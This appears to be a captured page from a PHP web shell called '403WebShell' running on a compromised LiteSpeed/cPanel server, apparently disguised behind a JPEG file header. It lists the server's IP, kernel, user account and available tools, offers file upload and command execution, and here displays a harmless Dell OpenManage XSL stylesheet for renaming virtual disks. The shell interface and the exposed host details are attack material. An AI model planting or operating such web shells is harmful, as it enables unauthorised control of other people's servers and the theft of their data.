����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.14.249.46
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/vdrename.xsl
<?xml version="1.0" encoding="UTF-8"?>
<!-- This is the XSL to render the Virtual Disks Information page.  The associated web plugin is the VDInfoWebPlugin. -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
	<!-- Include some common templates created by SS -->
	<xsl:import href="Utils.xsl"/>
	<xsl:template match="OMA">
	<xsl:call-template name="scripts"/>
		<DataArea backpagetarget="./DataArea?plugin=com.dell.sm.webplugins.VDInfoWebPlugin" printable="false" email="false" validate="true" Refresh="false" export="false" exportdata="false" onLoad="true">

			<xsl:attribute name="submit">./SubmitForm?plugin=com.dell.sm.webplugins.VDExecuteActionWebPlugin&amp;ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&amp;ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&amp;VDiskOID=<xsl:value-of select="VDiskOID"/>&amp;VDiskName=<xsl:value-of select="VDiskName"/>&amp;Action=1024&amp;help=vdprin&amp;ManageSSC=<xsl:value-of select="//ManageSSC"/></xsl:attribute>
			<xsl:attribute name="submitdisplay"><xsl:value-of select="$strRenameButton"/></xsl:attribute>
			
			<xsl:attribute name="backpagedisplay"><xsl:value-of select="$strPreviousPage"/></xsl:attribute>
			<xsl:attribute name="backpagetarget">./DataArea?plugin=com.dell.sm.webplugins.VDInfoWebPlugin&amp;ControllerOID=<xsl:value-of select="ControllerOID"/>&amp;ControllerName=<xsl:value-of select="ControllerName"/>&amp;Action=blank&amp;help=vdprin&amp;ManageSSC=<xsl:value-of select="//ManageSSC"/></xsl:attribute>
			
			<PageTitle>
				<xsl:attribute name="display"><xsl:value-of select="$strTitlePart1"/><xsl:value-of select="VDiskName"/><xsl:value-of select="$strTitlePart2"/></xsl:attribute>
			</PageTitle>
			<xsl:call-template name="rename"/>
		</DataArea>
	</xsl:template>
	<xsl:template name="rename">
	   	<PromptText>
		   <xsl:choose>
				    <xsl:when test="//ManageSSC = '1'">
			          <xsl:value-of select="$strECName"/>
                    </xsl:when>
					<xsl:otherwise>
					  <xsl:value-of select="$strVDName"/>
					</xsl:otherwise>
		  </xsl:choose>
		</PromptText>
	
	<ComboData>
		<ListData>
			<xsl:variable name="showtasks">false</xsl:variable>

            <Data name="vdname" type="editbox">
				<xsl:attribute name="value"><xsl:value-of select="/OMA/VDiskName"/></xsl:attribute>
				<xsl:attribute name="display">
				  <xsl:value-of select="$strSubHeader2"/>
				</xsl:attribute>
				<xsl:attribute name="textboxname">vdname</xsl:attribute>
				<xsl:attribute name="textboxvalue"></xsl:attribute>
				<xsl:attribute name="unit"></xsl:attribute>	
			</Data>

			<!--<Data name="vdname" type="editbox">
				<xsl:attribute name="value"><xsl:value-of select="/OMA/VDiskName"/></xsl:attribute>
				<xsl:attribute name="display"><xsl:choose><xsl:when test="//ManageSSC = '1'">
			<xsl:value-of select="$strECName"/>
</xsl:when><xsl:otherwise><xsl:value-of select="$strVDName"/></xsl:otherwise></xsl:choose></xsl:attribute>
				<xsl:attribute name="textboxname">vdname</xsl:attribute>
				<xsl:attribute name="textboxvalue"></xsl:attribute>
				<xsl:attribute name="unit"></xsl:attribute>	
			</Data>-->
		</ListData>
	</ComboData>
	<script language="javascript">
		function initializationRoutine()
		{
			document.getElementById("vdname").focus();
			return;
		}

	   function isValidLength(text) 
      {
      	//Max length of VDname
        var maxlen = <xsl:value-of select="/OMA/Controllers/DCStorageObject/MaxNameLength"/>;

			if(text.length &gt; maxlen) 
			{
				alert("<xsl:value-of select="$strError"/>"  + "<xsl:value-of select="$strNameLength"/>" + maxlen);	   	   	 
	   		return false;
			}
			if(text.length &lt; 1)
			{
				alert("<xsl:value-of select="$strError"/>"  + "<xsl:value-of select="$strNameBlank"/>");	   	   	 
	   		return false;
			}
			
			return true;	
      }
		
		function validate() 
		 {

			var newvdname = document.dataarea.vdname.value;			
			var oldName = '<xsl:value-of select="/OMA/VDiskName"/>';
			
			if(oldName == newvdname)
			{
				alert("<xsl:value-of select="$strSameName"/>");
				document.getElementById("vdname").focus();
				return false;
			}
			
			if(isValidLength(document.dataarea.vdname.value)) 
			{
				if(isValidName(document.dataarea.vdname.value)) 
				{
						disableButtons("submit","back" ,"");
						return true;
				}
			}
			document.getElementById("vdname").focus();
			document.getElementById("vdname").value = "";
			return false;
		}
	</script>

	</xsl:template>
</xsl:stylesheet>


Youez - 2016 - github.com/yon3zu
LinuXploit